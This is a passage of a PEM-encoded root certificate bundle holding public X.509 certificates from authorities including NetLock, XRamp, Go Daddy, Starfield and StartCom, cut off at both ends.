bWJlcnNpZ24ub3JnL2Nwcy9jaGFtYmVyc2lnbnJvb3QuaHRtbDANBgkqhkiG9w0B
AQUFAAOCAQEAPDtwkfkEVCeR4e3t/mh/YV3lQWVPMvEYBZRqHN4fcNs+ezICNLUM
bKGKfKX0j//U2K0X1S0E0T9YgOKBWYi+wONGkyT+kL0mojAt6JcmVzWJdJYY9hXi
ryQZVgICsroPFOrGimbBhkVVi76SvpykBMdJPJ7oKXqJ1/6v/2j1pReQvayZzKWG
VwlnRtvWFsJG8eSpUPWP0ZIV018+xgBJOm5YstHRJw0lyDL4IBHNfTIzSJRUTN3c
ecQwn+uOuFW114hcxWokPbLTBQNRxgfvzBRydD1ucs4YKIxKoHflCStFREest2d/
AYoFWpO+ocH/+OcOZ6RHSXZddZAa9SaP8A==
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIG0TCCBbmgAwIBAgIBezANBgkqhkiG9w0BAQUFADCByTELMAkGA1UEBhMCSFUx
ETAPBgNVBAcTCEJ1ZGFwZXN0MScwJQYDVQQKEx5OZXRMb2NrIEhhbG96YXRiaXp0
b25zYWdpIEtmdC4xGjAYBgNVBAsTEVRhbnVzaXR2YW55a2lhZG9rMUIwQAYDVQQD
EzlOZXRMb2NrIE1pbm9zaXRldHQgS296amVneXpvaSAoQ2xhc3MgUUEpIFRhbnVz
aXR2YW55a2lhZG8xHjAcBgkqhkiG9w0BCQEWD2luZm9AbmV0bG9jay5odTAeFw0w
MzAzMzAwMTQ3MTFaFw0yMjEyMTUwMTQ3MTFaMIHJMQswCQYDVQQGEwJIVTERMA8G
A1UEBxMIQnVkYXBlc3QxJzAlBgNVBAoTHk5ldExvY2sgSGFsb3phdGJpenRvbnNh
Z2kgS2Z0LjEaMBgGA1UECxMRVGFudXNpdHZhbnlraWFkb2sxQjBABgNVBAMTOU5l
dExvY2sgTWlub3NpdGV0dCBLb3pqZWd5em9pIChDbGFzcyBRQSkgVGFudXNpdHZh
bnlraWFkbzEeMBwGCSqGSIb3DQEJARYPaW5mb0BuZXRsb2NrLmh1MIIBIjANBgkq
hkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAx1Ilstg91IRVCacbvWy5FPSKAtt2/Goq
eKvld/Bu4IwjZ9ulZJm53QE+b+8tmjwi8F3JV6BVQX/yQ15YglMxZc4e8ia6AFQe
r7C8HORSjKAyr7c3sVNnaHRnUPYtLmTeriZ539+Zhqurf4XsoPuAzPS4DB6TRWO5
3Lhbm+1bOdRfYrCnjnxmOCyqsQhjF2d9zL2z8cM/z1A57dEZgxXbhxInlrfa6uWd
vLrqOU+L73Sa58XQ0uqGURzk/mQIKAR5BevKxXEOC++r6uwSEaEYBTJp0QwsGj0l
mT+1fMptsK6ZmfoIYOcZwvK9UdPM0wKswREMgM6r3JSda6M5UzrWhQIDAMV9o4IC
wDCCArwwEgYDVR0TAQH/BAgwBgEB/wIBBDAOBgNVHQ8BAf8EBAMCAQYwggJ1Bglg
hkgBhvhCAQ0EggJmFoICYkZJR1lFTEVNISBFemVuIHRhbnVzaXR2YW55IGEgTmV0
TG9jayBLZnQuIE1pbm9zaXRldHQgU3pvbGdhbHRhdGFzaSBTemFiYWx5emF0YWJh
biBsZWlydCBlbGphcmFzb2sgYWxhcGphbiBrZXN6dWx0LiBBIG1pbm9zaXRldHQg
ZWxla3Ryb25pa3VzIGFsYWlyYXMgam9naGF0YXMgZXJ2ZW55ZXN1bGVzZW5laywg
dmFsYW1pbnQgZWxmb2dhZGFzYW5hayBmZWx0ZXRlbGUgYSBNaW5vc2l0ZXR0IFN6
b2xnYWx0YXRhc2kgU3phYmFseXphdGJhbiwgYXogQWx0YWxhbm9zIFN6ZXJ6b2Rl
c2kgRmVsdGV0ZWxla2JlbiBlbG9pcnQgZWxsZW5vcnplc2kgZWxqYXJhcyBtZWd0
ZXRlbGUuIEEgZG9rdW1lbnR1bW9rIG1lZ3RhbGFsaGF0b2sgYSBodHRwczovL3d3
dy5uZXRsb2NrLmh1L2RvY3MvIGNpbWVuIHZhZ3kga2VyaGV0b2sgYXogaW5mb0Bu
ZXRsb2NrLm5ldCBlLW1haWwgY2ltZW4uIFdBUk5JTkchIFRoZSBpc3N1YW5jZSBh
bmQgdGhlIHVzZSBvZiB0aGlzIGNlcnRpZmljYXRlIGFyZSBzdWJqZWN0IHRvIHRo
ZSBOZXRMb2NrIFF1YWxpZmllZCBDUFMgYXZhaWxhYmxlIGF0IGh0dHBzOi8vd3d3
Lm5ldGxvY2suaHUvZG9jcy8gb3IgYnkgZS1tYWlsIGF0IGluZm9AbmV0bG9jay5u
ZXQwHQYDVR0OBBYEFAlqYhaSsFq7VQ7LdTI6MuWyIckoMA0GCSqGSIb3DQEBBQUA
A4IBAQCRalCc23iBmz+LQuM7/KbD7kPgz/PigDVJRXYC4uMvBcXxKufAQTPGtpvQ
MznNwNuhrWw3AkxYQTvyl5LGSKjN5Yo5iWH5Upfpvfb5lHTocQ68d4bDBsxafEp+
NFAwLvt/MpqNPfMgW/hqyobzMUwsWYACff44yTB1HLdV47yfuqhthCgFdbOLDcCR
VCHnpgu0mfVRQdzNo0ci2ccBgcTcR08m6h/t280NmPSjnLRzMkqWmf68f8glWPhY
83ZmiVSkpj7EUFy6iRiCdUgh0k8T6GB+B3bbELVR5qq5aKrN9p2QdRLqOBrKROi3
macqaJVmlaut74nLYKkGEsaUR+ko
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIGfTCCBWWgAwIBAgICAQMwDQYJKoZIhvcNAQEEBQAwga8xCzAJBgNVBAYTAkhV
MRAwDgYDVQQIEwdIdW5nYXJ5MREwDwYDVQQHEwhCdWRhcGVzdDEnMCUGA1UEChMe
TmV0TG9jayBIYWxvemF0Yml6dG9uc2FnaSBLZnQuMRowGAYDVQQLExFUYW51c2l0
dmFueWtpYWRvazE2MDQGA1UEAxMtTmV0TG9jayBLb3pqZWd5em9pIChDbGFzcyBB
KSBUYW51c2l0dmFueWtpYWRvMB4XDTk5MDIyNDIzMTQ0N1oXDTE5MDIxOTIzMTQ0
N1owga8xCzAJBgNVBAYTAkhVMRAwDgYDVQQIEwdIdW5nYXJ5MREwDwYDVQQHEwhC
dWRhcGVzdDEnMCUGA1UEChMeTmV0TG9jayBIYWxvemF0Yml6dG9uc2FnaSBLZnQu
MRowGAYDVQQLExFUYW51c2l0dmFueWtpYWRvazE2MDQGA1UEAxMtTmV0TG9jayBL
b3pqZWd5em9pIChDbGFzcyBBKSBUYW51c2l0dmFueWtpYWRvMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAvHSMD7tM9DceqQWC2ObhbHDqeLVu0ThEDaiD
zl3S1tWBxdRL51uUcCbbO51qTGL3cfNk1mE7PetzozfZz+qMkjvN9wfcZnSX9EUi
3fRc4L9t875lM+QVOr/bmJBVOMTtplVjC7B4BPTjbsE/jvxReB+SnoPC/tmwqcm8
WgD/qaiYdPv2LD4VOQ22BFWoDpggQrOxJa1+mm9dU7GrDPzr4PN6s6iz/0b2Y6LY
Oph7tqyF/7AlT3Rj5xMHpQqPBffAZG9+pyeAlt7ULoZgx2srXnN7F+eRP2QM2Esi
NCubMvJIH5+hCoR64sKtlz2O1cH5VqNQ6ca0+pii7pXmKgOM3wIDAQABo4ICnzCC
ApswDgYDVR0PAQH/BAQDAgAGMBIGA1UdEwEB/wQIMAYBAf8CAQQwEQYJYIZIAYb4
QgEBBAQDAgAHMIICYAYJYIZIAYb4QgENBIICURaCAk1GSUdZRUxFTSEgRXplbiB0
YW51c2l0dmFueSBhIE5ldExvY2sgS2Z0LiBBbHRhbGFub3MgU3pvbGdhbHRhdGFz
aSBGZWx0ZXRlbGVpYmVuIGxlaXJ0IGVsamFyYXNvayBhbGFwamFuIGtlc3p1bHQu
IEEgaGl0ZWxlc2l0ZXMgZm9seWFtYXRhdCBhIE5ldExvY2sgS2Z0LiB0ZXJtZWtm
ZWxlbG9zc2VnLWJpenRvc2l0YXNhIHZlZGkuIEEgZGlnaXRhbGlzIGFsYWlyYXMg
ZWxmb2dhZGFzYW5hayBmZWx0ZXRlbGUgYXogZWxvaXJ0IGVsbGVub3J6ZXNpIGVs
amFyYXMgbWVndGV0ZWxlLiBBeiBlbGphcmFzIGxlaXJhc2EgbWVndGFsYWxoYXRv
IGEgTmV0TG9jayBLZnQuIEludGVybmV0IGhvbmxhcGphbiBhIGh0dHBzOi8vd3d3
Lm5ldGxvY2submV0L2RvY3MgY2ltZW4gdmFneSBrZXJoZXRvIGF6IGVsbGVub3J6
ZXNAbmV0bG9jay5uZXQgZS1tYWlsIGNpbWVuLiBJTVBPUlRBTlQhIFRoZSBpc3N1
YW5jZSBhbmQgdGhlIHVzZSBvZiB0aGlzIGNlcnRpZmljYXRlIGlzIHN1YmplY3Qg
dG8gdGhlIE5ldExvY2sgQ1BTIGF2YWlsYWJsZSBhdCBodHRwczovL3d3dy5uZXRs
b2NrLm5ldC9kb2NzIG9yIGJ5IGUtbWFpbCBhdCBjcHNAbmV0bG9jay5uZXQuMA0G
CSqGSIb3DQEBBAUAA4IBAQBIJEb3ulZv+sgoA0BO5TE5ayZrU3/b39/zcT0mwBQO
xmd7I6gMc90Bu8bKbjc5VdXHjFYgDigKDtIqpLBJUsY4B/6+CgmM0ZjPytoUMaFP
0jn8DxEsQ8Pdq5PHVT5HfBgaANzze9jyf1JsIPQLX2lS9O74silg6+NJMSEN1rUQ
QeJBCWziGppWS3cC9qCbmieH6FUpccKQn0V4GuEVZD3QDtigdp+uxdAu6tYPVuxk
f1qbFFgBJ34TUMdrKuZoPL9coAob4Q566eKAw+np9v1sEZ7Q5SgnK1QyQhSCdeZK
8CtmdWOMovsEPoMOmzbwGOQmIMOM8CgHrTwXZoi1/baI
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIFSzCCBLSgAwIBAgIBaTANBgkqhkiG9w0BAQQFADCBmTELMAkGA1UEBhMCSFUx
ETAPBgNVBAcTCEJ1ZGFwZXN0MScwJQYDVQQKEx5OZXRMb2NrIEhhbG96YXRiaXp0
b25zYWdpIEtmdC4xGjAYBgNVBAsTEVRhbnVzaXR2YW55a2lhZG9rMTIwMAYDVQQD
EylOZXRMb2NrIFV6bGV0aSAoQ2xhc3MgQikgVGFudXNpdHZhbnlraWFkbzAeFw05
OTAyMjUxNDEwMjJaFw0xOTAyMjAxNDEwMjJaMIGZMQswCQYDVQQGEwJIVTERMA8G
A1UEBxMIQnVkYXBlc3QxJzAlBgNVBAoTHk5ldExvY2sgSGFsb3phdGJpenRvbnNh
Z2kgS2Z0LjEaMBgGA1UECxMRVGFudXNpdHZhbnlraWFkb2sxMjAwBgNVBAMTKU5l
dExvY2sgVXpsZXRpIChDbGFzcyBCKSBUYW51c2l0dmFueWtpYWRvMIGfMA0GCSqG
SIb3DQEBAQUAA4GNADCBiQKBgQCx6gTsIKAjwo84YM/HRrPVG/77uZmeBNwcf4xK
gZjupNTKihe5In+DCnVMm8Bp2GQ5o+2So/1bXHQawEfKOml2mrriRBf8TKPV/riX
iK+IA4kfpPIEPsgHC+b5sy96YhQJRhTKZPWLgLViqNhr1nGTLbO/CVRY7QbrqHvc
Q7GhaQIDAQABo4ICnzCCApswEgYDVR0TAQH/BAgwBgEB/wIBBDAOBgNVHQ8BAf8E
BAMCAAYwEQYJYIZIAYb4QgEBBAQDAgAHMIICYAYJYIZIAYb4QgENBIICURaCAk1G
SUdZRUxFTSEgRXplbiB0YW51c2l0dmFueSBhIE5ldExvY2sgS2Z0LiBBbHRhbGFu
b3MgU3pvbGdhbHRhdGFzaSBGZWx0ZXRlbGVpYmVuIGxlaXJ0IGVsamFyYXNvayBh
bGFwamFuIGtlc3p1bHQuIEEgaGl0ZWxlc2l0ZXMgZm9seWFtYXRhdCBhIE5ldExv
Y2sgS2Z0LiB0ZXJtZWtmZWxlbG9zc2VnLWJpenRvc2l0YXNhIHZlZGkuIEEgZGln
aXRhbGlzIGFsYWlyYXMgZWxmb2dhZGFzYW5hayBmZWx0ZXRlbGUgYXogZWxvaXJ0
IGVsbGVub3J6ZXNpIGVsamFyYXMgbWVndGV0ZWxlLiBBeiBlbGphcmFzIGxlaXJh
c2EgbWVndGFsYWxoYXRvIGEgTmV0TG9jayBLZnQuIEludGVybmV0IGhvbmxhcGph
biBhIGh0dHBzOi8vd3d3Lm5ldGxvY2submV0L2RvY3MgY2ltZW4gdmFneSBrZXJo
ZXRvIGF6IGVsbGVub3J6ZXNAbmV0bG9jay5uZXQgZS1tYWlsIGNpbWVuLiBJTVBP
UlRBTlQhIFRoZSBpc3N1YW5jZSBhbmQgdGhlIHVzZSBvZiB0aGlzIGNlcnRpZmlj
YXRlIGlzIHN1YmplY3QgdG8gdGhlIE5ldExvY2sgQ1BTIGF2YWlsYWJsZSBhdCBo
dHRwczovL3d3dy5uZXRsb2NrLm5ldC9kb2NzIG9yIGJ5IGUtbWFpbCBhdCBjcHNA
bmV0bG9jay5uZXQuMA0GCSqGSIb3DQEBBAUAA4GBAATbrowXr/gOkDFOzT4JwG06
sPgzTEdM43WIEJessDgVkcYplswhwG08pXTP2IKlOcNl40JwuyKQ433bNXbhoLXa
n3BukxowOR0w2y7jfLKRstE3Kfq51hdcR0/jHTjrn9V7lagonhVK0dHQKwCXoOKS
NitjrFgBazMpUIaD8QFI
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIFTzCCBLigAwIBAgIBaDANBgkqhkiG9w0BAQQFADCBmzELMAkGA1UEBhMCSFUx
ETAPBgNVBAcTCEJ1ZGFwZXN0MScwJQYDVQQKEx5OZXRMb2NrIEhhbG96YXRiaXp0
b25zYWdpIEtmdC4xGjAYBgNVBAsTEVRhbnVzaXR2YW55a2lhZG9rMTQwMgYDVQQD
EytOZXRMb2NrIEV4cHJlc3N6IChDbGFzcyBDKSBUYW51c2l0dmFueWtpYWRvMB4X
DTk5MDIyNTE0MDgxMVoXDTE5MDIyMDE0MDgxMVowgZsxCzAJBgNVBAYTAkhVMREw
DwYDVQQHEwhCdWRhcGVzdDEnMCUGA1UEChMeTmV0TG9jayBIYWxvemF0Yml6dG9u
c2FnaSBLZnQuMRowGAYDVQQLExFUYW51c2l0dmFueWtpYWRvazE0MDIGA1UEAxMr
TmV0TG9jayBFeHByZXNzeiAoQ2xhc3MgQykgVGFudXNpdHZhbnlraWFkbzCBnzAN
BgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEA6+ywbGGKIyWvYCDj2Z/8kwvbXY2wobNA
OoLO/XXgeDIDhlqGlZHtU/qdQPzm6N3ZW3oDvV3zOwzDUXmbrVWg6dADEK8KuhRC
2VImESLH0iDMgqSaqf64gXadarfSNnU+sYYJ9m5tfk63euyucYT2BDMIJTLrdKwW
RMbkQJMdf60CAwEAAaOCAp8wggKbMBIGA1UdEwEB/wQIMAYBAf8CAQQwDgYDVR0P
AQH/BAQDAgAGMBEGCWCGSAGG+EIBAQQEAwIABzCCAmAGCWCGSAGG+EIBDQSCAlEW
ggJNRklHWUVMRU0hIEV6ZW4gdGFudXNpdHZhbnkgYSBOZXRMb2NrIEtmdC4gQWx0
YWxhbm9zIFN6b2xnYWx0YXRhc2kgRmVsdGV0ZWxlaWJlbiBsZWlydCBlbGphcmFz
b2sgYWxhcGphbiBrZXN6dWx0LiBBIGhpdGVsZXNpdGVzIGZvbHlhbWF0YXQgYSBO
ZXRMb2NrIEtmdC4gdGVybWVrZmVsZWxvc3NlZy1iaXp0b3NpdGFzYSB2ZWRpLiBB
IGRpZ2l0YWxpcyBhbGFpcmFzIGVsZm9nYWRhc2FuYWsgZmVsdGV0ZWxlIGF6IGVs
b2lydCBlbGxlbm9yemVzaSBlbGphcmFzIG1lZ3RldGVsZS4gQXogZWxqYXJhcyBs
ZWlyYXNhIG1lZ3RhbGFsaGF0byBhIE5ldExvY2sgS2Z0LiBJbnRlcm5ldCBob25s
YXBqYW4gYSBodHRwczovL3d3dy5uZXRsb2NrLm5ldC9kb2NzIGNpbWVuIHZhZ3kg
a2VyaGV0byBheiBlbGxlbm9yemVzQG5ldGxvY2submV0IGUtbWFpbCBjaW1lbi4g
SU1QT1JUQU5UISBUaGUgaXNzdWFuY2UgYW5kIHRoZSB1c2Ugb2YgdGhpcyBjZXJ0
aWZpY2F0ZSBpcyBzdWJqZWN0IHRvIHRoZSBOZXRMb2NrIENQUyBhdmFpbGFibGUg
YXQgaHR0cHM6Ly93d3cubmV0bG9jay5uZXQvZG9jcyBvciBieSBlLW1haWwgYXQg
Y3BzQG5ldGxvY2submV0LjANBgkqhkiG9w0BAQQFAAOBgQAQrX/XDDKACtiG8XmY
ta3UzbM2xJZIwVzNmtkFLp++UOv0JhQQLdRmF/iewSf98e3ke0ugbLWrmldwpu2g
pO0u9f38vf5NNwgMvOOWgyL1SRt/Syu0VMGAfJlOHdCM7tCs5ZL6dVb+ZKATj7i4
Fp1hBWeAyNDYpQcCNJgEjTME1A==
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIEMDCCAxigAwIBAgIQUJRs7Bjq1ZxN1ZfvdY+grTANBgkqhkiG9w0BAQUFADCB
gjELMAkGA1UEBhMCVVMxHjAcBgNVBAsTFXd3dy54cmFtcHNlY3VyaXR5LmNvbTEk
MCIGA1UEChMbWFJhbXAgU2VjdXJpdHkgU2VydmljZXMgSW5jMS0wKwYDVQQDEyRY
UmFtcCBHbG9iYWwgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwHhcNMDQxMTAxMTcx
NDA0WhcNMzUwMTAxMDUzNzE5WjCBgjELMAkGA1UEBhMCVVMxHjAcBgNVBAsTFXd3
dy54cmFtcHNlY3VyaXR5LmNvbTEkMCIGA1UEChMbWFJhbXAgU2VjdXJpdHkgU2Vy
dmljZXMgSW5jMS0wKwYDVQQDEyRYUmFtcCBHbG9iYWwgQ2VydGlmaWNhdGlvbiBB
dXRob3JpdHkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCYJB69FbS6
38eMpSe2OAtp87ZOqCwuIR1cRN8hXX4jdP5efrRKt6atH67gBhbim1vZZ3RrXYCP
KZ2GG9mcDZhtdhAoWORlsH9KmHmf4MMxfoArtYzAQDsRhtDLooY2YKTVMIJt2W7Q
DxIEM5dfT2Fa8OT5kavnHTu86M/0ay00fOJIYRyO82FEzG+gSqmUsE3a56k0enI4
qEHMPJQRfevIpoy3hsvKMzvZPTeL+3o+hiznc9cKV6xkmxnr9A8ECIqsAxcZZPRa
JSKNNCyy9mgdEm3Tih4U2sSPpuIjhdV6Db1q4Ons7Be7QhtnqiXtRYMh/MHJfNVi
PvryxS3T/dRlAgMBAAGjgZ8wgZwwEwYJKwYBBAGCNxQCBAYeBABDAEEwCwYDVR0P
BAQDAgGGMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFMZPoj0GY4QJnM5i5ASs
jVy16bYbMDYGA1UdHwQvMC0wK6ApoCeGJWh0dHA6Ly9jcmwueHJhbXBzZWN1cml0
eS5jb20vWEdDQS5jcmwwEAYJKwYBBAGCNxUBBAMCAQEwDQYJKoZIhvcNAQEFBQAD
ggEBAJEVOQMBG2f7Shz5CmBbodpNl2L5JFMn14JkTpAuw0kbK5rc/Kh4ZzXxHfAR
vbdI4xD2Dd8/0sm2qlWkSLoC295ZLhVbO50WfUfXN+pfTXYSNrsf16GBBEYgoyxt
qZ4Bfj8pzgCT3/3JknOJiWSe5yvkHJEs0rnOfc5vMZnT5r7SHpDwCRR5XCOrTdLa
IR9NmXmd4c8nnxCbHIgNsIpkQTG4DmyQJKSbXHGPurt+HBvbaoAPIbzp26a3QPSy
i6mx5O+aGtA9aZnuqCij4Tyz8LIRnM98QObd50N9otg6tamN8jSZxNQQ4Qb9CYQQ
O+7ETPTsJ3xCwnR8gooJybQDJbw=
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIEADCCAuigAwIBAgIBADANBgkqhkiG9w0BAQUFADBjMQswCQYDVQQGEwJVUzEh
MB8GA1UEChMYVGhlIEdvIERhZGR5IEdyb3VwLCBJbmMuMTEwLwYDVQQLEyhHbyBE
YWRkeSBDbGFzcyAyIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MB4XDTA0MDYyOTE3
MDYyMFoXDTM0MDYyOTE3MDYyMFowYzELMAkGA1UEBhMCVVMxITAfBgNVBAoTGFRo
ZSBHbyBEYWRkeSBHcm91cCwgSW5jLjExMC8GA1UECxMoR28gRGFkZHkgQ2xhc3Mg
MiBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTCCASAwDQYJKoZIhvcNAQEBBQADggEN
ADCCAQgCggEBAN6d1+pXGEmhW+vXX0iG6r7d/+TvZxz0ZWizV3GgXne77ZtJ6XCA
PVYYYwhv2vLM0D9/AlQiVBDYsoHUwHU9S3/Hd8M+eKsaA7Ugay9qK7HFiH7Eux6w
wdhFJ2+qN1j3hybX2C32qRe3H3I2TqYXP2WYktsqbl2i/ojgC95/5Y0V4evLOtXi
EqITLdiOr18SPaAIBQi2XKVlOARFmR6jYGB0xUGlcmIbYsUfb18aQr4CUWWoriMY
avx4A6lNf4DD+qta/KFApMoZFv6yyO9ecw3ud72a9nmYvLEHZ6IVDd2gWMZEewo+
YihfukEHU1jPEX44dMX4/7VpkI+EdOqXG68CAQOjgcAwgb0wHQYDVR0OBBYEFNLE
sNKR1EwRcbNhyz2h/t2oatTjMIGNBgNVHSMEgYUwgYKAFNLEsNKR1EwRcbNhyz2h
/t2oatTjoWekZTBjMQswCQYDVQQGEwJVUzEhMB8GA1UEChMYVGhlIEdvIERhZGR5
IEdyb3VwLCBJbmMuMTEwLwYDVQQLEyhHbyBEYWRkeSBDbGFzcyAyIENlcnRpZmlj
YXRpb24gQXV0aG9yaXR5ggEAMAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEFBQAD
ggEBADJL87LKPpH8EsahB4yOd6AzBhRckB4Y9wimPQoZ+YeAEW5p5JYXMP80kWNy
OO7MHAGjHZQopDH2esRU1/blMVgDoszOYtuURXO1v0XJJLXVggKtI3lpjbi2Tc7P
TMozI+gciKqdi0FuFskg5YmezTvacPd+mSYgFFQlq25zheabIZ0KbIIOqPjCDPoQ
HmyW74cNxA9hi63ugyuV+I6ShHI56yDqg+2DzZduCLzrTia2cyvk0/ZM/iZx4mER
dEr/VxqHD3VILs9RaRegAhJhldXRQLIQTO7ErBBDpqWeCtWVYpoNz4iCxTIM5Cuf
ReYNnyicsbkqWletNw+vHX/bvZ8=
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIEDzCCAvegAwIBAgIBADANBgkqhkiG9w0BAQUFADBoMQswCQYDVQQGEwJVUzEl
MCMGA1UEChMcU3RhcmZpZWxkIFRlY2hub2xvZ2llcywgSW5jLjEyMDAGA1UECxMp
U3RhcmZpZWxkIENsYXNzIDIgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwHhcNMDQw
NjI5MTczOTE2WhcNMzQwNjI5MTczOTE2WjBoMQswCQYDVQQGEwJVUzElMCMGA1UE
ChMcU3RhcmZpZWxkIFRlY2hub2xvZ2llcywgSW5jLjEyMDAGA1UECxMpU3RhcmZp
ZWxkIENsYXNzIDIgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwggEgMA0GCSqGSIb3
DQEBAQUAA4IBDQAwggEIAoIBAQC3Msj+6XGmBIWtDBFk385N78gDGIc/oav7PKaf
8MOh2tTYbitTkPskpD6E8J7oX+zlJ0T1KKY/e97gKvDIr1MvnsoFAZMej2YcOadN
+lq2cwQlZut3f+dZxkqZJRRU6ybH838Z1TBwj6+wRir/resp7defqgSHo9T5iaU0
X9tDkYI22WY8sbi5gv2cOj4QyDvvBmVmepsZGD3/cVE8MC5fvj13c7JdBmzDI1aa
K4UmkhynArPkPw2vCHmCuDY96pzTNbO8acr1zJ3o/WSNF4Azbl5KXZnJHoe0nRrA
1W4TNSNe35tfPe/W93bC6j67eA0cQmdrBNj41tpvi/JEoAGrAgEDo4HFMIHCMB0G
A1UdDgQWBBS/X7fRzt0fhvRbVazc1xDCDqmI5zCBkgYDVR0jBIGKMIGHgBS/X7fR
zt0fhvRbVazc1xDCDqmI56FspGowaDELMAkGA1UEBhMCVVMxJTAjBgNVBAoTHFN0
YXJmaWVsZCBUZWNobm9sb2dpZXMsIEluYy4xMjAwBgNVBAsTKVN0YXJmaWVsZCBD
bGFzcyAyIENlcnRpZmljYXRpb24gQXV0aG9yaXR5ggEAMAwGA1UdEwQFMAMBAf8w
DQYJKoZIhvcNAQEFBQADggEBAAWdP4id0ckaVaGsafPzWdqbAYcaT1epoXkJKtv3
L7IezMdeatiDh6GX70k1PncGQVhiv45YuApnP+yz3SFmH8lU+nLMPUxA2IGvd56D
eruix/U0F47ZEUD0/CwqTRV/p2JdLiXTAAsgGh1o+Re49L2L7ShZ3U0WixeDyLJl
xy16paq8U4Zt3VekyvggQQto8PT7dL5WXXp59fkdheMtlb71cZBDzI0fmgAKhynp
VSJYACPq4xJDKVtHCN2MQWplBqjlIapBtJUhlbl90TSrE9atvNziPTnNvT51cKEY
WQPJIrSPnNVeKtelttQKbfi3QBFGmh95DmK/D5fs4C8fF5Q=
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIHyTCCBbGgAwIBAgIBATANBgkqhkiG9w0BAQUFADB9MQswCQYDVQQGEwJJTDEW
MBQGA1UEChMNU3RhcnRDb20gTHRkLjErMCkGA1UECxMiU2VjdXJlIERpZ2l0YWwg
Q2VydGlmaWNhdGUgU2lnbmluZzEpMCcGA1UEAxMgU3RhcnRDb20gQ2VydGlmaWNh
dGlvbiBBdXRob3JpdHkwHhcNMDYwOTE3MTk0NjM2WhcNMzYwOTE3MTk0NjM2WjB9
MQswCQYDVQQGEwJJTDEWMBQGA1UEChMNU3RhcnRDb20gTHRkLjErMCkGA1UECxMi
U2VjdXJlIERpZ2l0YWwgQ2VydGlmaWNhdGUgU2lnbmluZzEpMCcGA1UEAxMgU3Rh
cnRDb20gQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwggIiMA0GCSqGSIb3DQEBAQUA
A4ICDwAwggIKAoICAQDBiNsJvGxGfHiflXu1M5DycmLWwTYgIiRezul38kMKogZk
pMyONvg45iPwbm2xPN1yo4UcodM9tDMr0y+v/uqwQVlntsQGfQqedIXWeUyAN3rf
OQVSWff0G0ZDpNKFhdLDcfN1YjS6LIp/Ho/u7TTQEceWzVI9ujPW3U3eCztKS5/C
Ji/6tRYccjV3yjxd5srhJosaNnZcAdt0FCX+7bWgiA/deMotHweXMAEtcnn6RtYT
Kqi5pquDSR3l8u/d5AGOGAqPY1MWhWKpDhk6zLVmpsJrdAfkK+F2PrRt2PZE4XNi
HzvEvqBTViVsUQn3qqvKv3b9bZvzndu/PWa8DFaqr5hIlTpL36dYUNk4dalb6kMM
Av+Z6+hsTXBbKWWc3apdzK8BMewM69KN6Oqce+Zu9ydmDBpI125C4z/eIT574Q1w
+2OqqGwaVLRcJXrJosmLFqa7LH4XXgVNWG4SHQHuEhANxjJ/GP/89PrNbpHoNkm+
Gkhpi8KWTRoSsmkXwQqQ1vp5Iki/untp+HDH+no32NgN0nZPV/+Qt+OR0t3vwmC3
Zzrd/qqc8NSLf3Iizsafl7b4r4qgEKjZ+xjGtrVcUjyJthkqcwEKDwOzEmDyei+B
26Nu/yYwl/WL3YlXtq09s68rxbd2AvCl1iuahhQqcvbjM4xdCUsT37uMdBNSSwID
AQABo4ICUjCCAk4wDAYDVR0TBAUwAwEB/zALBgNVHQ8EBAMCAa4wHQYDVR0OBBYE
FE4L7xqkQFulF2mHMMo0aEPQQa7yMGQGA1UdHwRdMFswLKAqoCiGJmh0dHA6Ly9j
ZXJ0LnN0YXJ0Y29tLm9yZy9zZnNjYS1jcmwuY3JsMCugKaAnhiVodHRwOi8vY3Js
LnN0YXJ0Y29tLm9yZy9zZnNjYS1jcmwuY3JsMIIBXQYDVR0gBIIBVDCCAVAwggFM
BgsrBgEEAYG1NwEBATCCATswLwYIKwYBBQUHAgEWI2h0dHA6Ly9jZXJ0LnN0YXJ0
Y29tLm9yZy9wb2xpY3kucGRmMDUGCCsGAQUFBwIBFilodHRwOi8vY2VydC5zdGFy
dGNvbS5vcmcvaW50ZXJtZWRpYXRlLnBkZjCB0AYIKwYBBQUHAgIwgcMwJxYgU3Rh
cnQgQ29tbWVyY2lhbCAoU3RhcnRDb20pIEx0ZC4wAwIBARqBl0xpbWl0ZWQgTGlh
YmlsaXR5LCByZWFkIHRoZSBzZWN0aW9uICpMZWdhbCBMaW1pdGF0aW9ucyogb2Yg
dGhlIFN0YXJ0Q29tIENlcnRpZmljYXRpb24gQXV0aG9yaXR5IFBvbGljeSBhdmFp
bGFibGUgYXQgaHR0cDovL2NlcnQuc3RhcnRjb20ub3JnL3BvbGljeS5wZGYwEQYJ
YIZIAYb4QgEBBAQDAgAHMDgGCWCGSAGG+EIBDQQrFilTdGFydENvbSBGcmVlIFNT
TCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTANBgkqhkiG9w0BAQUFAAOCAgEAFmyZ
9GYMNPXQhV59CuzaEE44HF7fpiUFS5Eyweg78T3dRAlbB0mKKctmArexmvclmAk8
jhvh3TaHK0u7aNM5Zj2gJsfyOZEdUauCe37Vzlrk4gNXcGmXCPleWKYK34wGmkUW
FjgKXlf2Ysd6AgXmvB618p70qSmD+LIU424oh0TDkBreOKk8rENNZEXO3SipXPJz
ewT4F+irsfMuXGRuczE6Eri8sxHkfY+BUZo7jYn0TZNmezwD7dOaHZrzZVD1oNB1
